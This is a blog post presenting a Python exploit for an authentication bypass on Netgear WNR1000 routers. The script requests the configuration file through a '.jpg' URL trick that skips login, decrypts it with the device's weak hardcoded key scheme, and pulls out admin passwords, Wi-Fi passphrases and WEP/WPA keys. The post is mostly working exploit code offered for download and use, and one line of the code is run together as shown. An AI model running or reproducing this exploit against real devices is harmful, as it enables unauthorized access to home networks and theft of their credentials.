Authentication bypass on Netgear WNR1000

Posted on June 23, 2013

6


I came across a Netgear WNR1000 and I wanted to know if any vulnerabilities has already been found. After the first Google query, I found out the answer is yes, for the firmware version < 1.0.2.60 (and maybe other version, but they were not checked):

Strictly speaking, the web server skips authentication checks for some URLs,
such as those that contain the substring “.jpg” (without quotes). As a
consequence, an attacker can retrieve the current device configuration by
accessing the following URL:

The resulting configuration file is encrypted. However the device implements a
trivial encryption scheme, that can be reversed quite easily.  From the
configuration file, attackers can extract, among the other things, the
clear-text password for the “admin” user.

An exploit has already been written in python by Roberto Paleari but I decided to improve it in order to make the exploit more user-friendly and to output a more readable text file. The script uses pyDes, which you can either install or just copy the pyDes.py file in the same exploit directory.

Here is the improved python source code. Alternatively, you can download the exploit here.

#!/usr/bin/python

##############################################################
#                                                            #
#          Authentication bypass on Netgear WNR1000          #
#                                                            #
##############################################################
#                                                            #
#                                                            #
# Exploit improved from:                                     #
#          http://www.exploit-db.com/exploits/24916/         #
#                                                            #
# By:      https://toschprod.wordpress.com                    #
#                                                            #
#                                                            #
# Usage:   ./exploit.py [--ip NETGEAR_IP_ADDRESS:PORT]       #
#          ./exploit.py [--path CFG_PATH]                    #
#          ./exploit.py [--stdin]                            #
#                                                            #
# Exemple: ./exploit.py --ip 192.168.1.1                     #
#          ./exploit.py --path NETGEAR_fwpt.cfg              #
#          cat NETGEAR_fwpt.cfg | ./exploit.py 192.168.1.1   #
#                                                            #
##############################################################

import os, sys, pyDes, urllib2, re

# Encryption key is a slightly variation of "NtgrBak"
KEY = [0x56-8, 0x74, 0x67, 0x72, 0x42, 0x61, 0x6b, 0x00]

def derive_des_key(ascii_key):
    def extract_by_offset(offset):
        byte_index = offset >> 3
        bit_index  = byte_index << 3

        v0 = (ascii_key[byte_index] << 8) | ascii_key[byte_index+1]         v1 = 8 - (offset - bit_index)         v0 >>= v1
        return v0 & 0xfe

    k = ""
    for i in range(0, 7*8, 7):
        k += chr(extract_by_offset(i))
    return k

def decrypt_block(block, key_bytes):
    k = derive_des_key(key_bytes)
    des = pyDes.des(k, pyDes.ECB)
    r = des.decrypt(block)
    return r

def print_help():
    print('##############################################################')
    print('#                                                            #')
    print('#          Authentication bypass on Netgear WNR1000          #')
    print('#                                                            #')
    print('##############################################################')
    print('#                                                            #')
    print('#                                                            #')
    print('# Exploit from:                                              #')
    print('#          http://www.exploit-db.com/exploits/24916/         #')
    print('#                                                            #')
    print('# By:      https://toschprod.wordpress.com                    #')
    print('#                                                            #')
    print('#                                                            #')
    print('# Usage:   ./exploit.py [--ip NETGEAR_IP_ADDRESS:PORT]       #')
    print('#          ./exploit.py [--path CFG_PATH]                    #')
    print('#          ./exploit.py [--stdin]                            #')
    print('#                                                            #')
    print('# Exemple: ./exploit.py --ip 192.168.1.1                     #')
    print('#          ./exploit.py --path NETGEAR_fwpt.cfg              #')
    print('#          cat NETGEAR_fwpt.cfg | ./exploit.py 192.168.1.1   #')
    print('#                                                            #')
    print('##############################################################')

def main():

    if len(sys.argv) == 3:
        # Download the CFG itself
        if sys.argv[1] == '--ip':
            response = urllib2.urlopen('http://' + sys.argv[2] + '/NETGEAR_fwpt.cfg?.jpg')
            data = response.read()

        # Open the CFG file (path send as argument)
        elif sys.argv[1] == '--path':
            with open(sys.argv[2], 'r') as f:
                data = f.read()
        else:
            print_help()
            return 0

    # Read from stdin
    elif len(sys.argv) == 2:
        # Read from stdin
        if sys.argv[1] == '--stdin':
            data = sys.stdin.read()
        else:
            print_help()
            return 0

    else:
        print_help()
        return 0

    assert (len(data) % 8) == 0

    r = '\n\n'
    r += '##################################################\n'
    r += '#               CFG FILE DECRYPTED               #\n'
    r += '##################################################\n'
    r += '\n'

    current_key = KEY[:]

    for i in range(0, len(data), 8):
        current_key[0] += 8
        if current_key[0] > 0xff:
            current_key[0] = current_key[0] - 0x100
            current_key[1] += 1

        block = data[i:i+8]
        d = decrypt_block(block, current_key)
        d = d.replace('\x00','\n')

        r += d

    #Extract interesting info
    info = []
    attributes = [('super_passwd', 'Superadmin password'), ('super_username', 'Superadmin username'), ('wl0.3_wep', 'WL0.3 WEP'), ('wl0.2_wep', 'WL0.2 WEP'), ('wl0.1_wep', 'WL0.1 WEP'), ('wl_wep', 'WEP'), ('wla_passphrase', 'WIFI passphrase'), ('wl0_wpa_psk', 'WL0 WPA PSK'), ('wl_wpa_psk', 'WPA PSK'), ('wla_secu_type', 'WIFI security type'), ('http_passwd', 'HTTP password'), ('http_username', 'HTTP username')] 
    for (i, (attr, desc)) in enumerate(attributes):
        try:
            found = re.search(attr + '=(.+?)\n', r).group(1)
        except AttributeError:
            found = 'N/A' # apply your error handling
        r = desc + ': ' + found + '\n' + r

    # Save the decrypted CFG in a txt file
    fn = 'config'

    # Check if the file name does already exist
    if not os.path.isfile(fn + '.txt'):
        fn = fn + '.txt'
    else:
        i = 1
        while (os.path.isfile(fn + '_' + str(i) + '.txt')):
            i += 1
        fn = fn + '_' + str(i) + '.txt'

    with open(fn, 'w') as f:
        f.write(r)

    print 'CFG file decryption successful: ' + fn

main()

Please let me know if you have any comment or improvement you would like to make.

Advertisements
Posted in: Exploits, Works